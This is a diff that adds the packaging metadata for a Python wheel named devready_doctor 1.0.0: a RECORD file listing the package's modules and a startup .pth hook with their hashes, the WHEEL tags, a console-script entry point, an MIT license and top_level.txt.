@@ -0,0 +1,13 @@
1
+ devready-hook.pth,sha256=JMOT_n5M5KqFPwa5jjfIis_KYqrUAQ3Y7MgKKTWqYnw,49
2
+ devready/__init__.py,sha256=excpYrVpvX4h7Eu5NrHTN_IAbCifUUqPgWhQQirhZno,205
3
+ devready/checks.py,sha256=MzmonhQWwt63ISoMwmPiZPyb8aQ-5ZG4v9S4VN-32_s,4968
4
+ devready/cli.py,sha256=btUMpUuAzhI1bhrskHnAyPdFo9KoqXMpBkX_hdGDmQI,8073
5
+ devready/hook.py,sha256=WYC0wWU71gQaKJW7ojF9HcU8f2TL5gMkEntEnB5GYaU,749
6
+ devready/install.py,sha256=Gyn2p1agtiuKVlZA2WYd5SPWLMHSDlBswX3GrP12AkQ,7865
7
+ devready/probe.py,sha256=SMHA9fjSPzYPMqehiJpF-LFNc4tLQF7VWkLFxOzeWDc,3620
8
+ devready_doctor-1.0.0.dist-info/licenses/LICENSE,sha256=6s6M8I_0UCHz3ScWc6NyEdzPOf8uzyBhxnGBiDuoQqc,1078
9
+ devready_doctor-1.0.0.dist-info/METADATA,sha256=SgNwCoOybW0-NgGazWp-hJe_s61SpIUFQD0KpF0ZylQ,4312
10
+ devready_doctor-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
11
+ devready_doctor-1.0.0.dist-info/entry_points.txt,sha256=7oAecSWtsIt7qLOP8PipOeDqhXCkEJat0oxhD4T1RpY,47
12
+ devready_doctor-1.0.0.dist-info/top_level.txt,sha256=fe3AlkDHyNLD3xSIx2LbmzUE00T5l52mvC6ribfATOw,9
13
+ devready_doctor-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.2.1)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ devready = devready.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 DevReady Contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ devready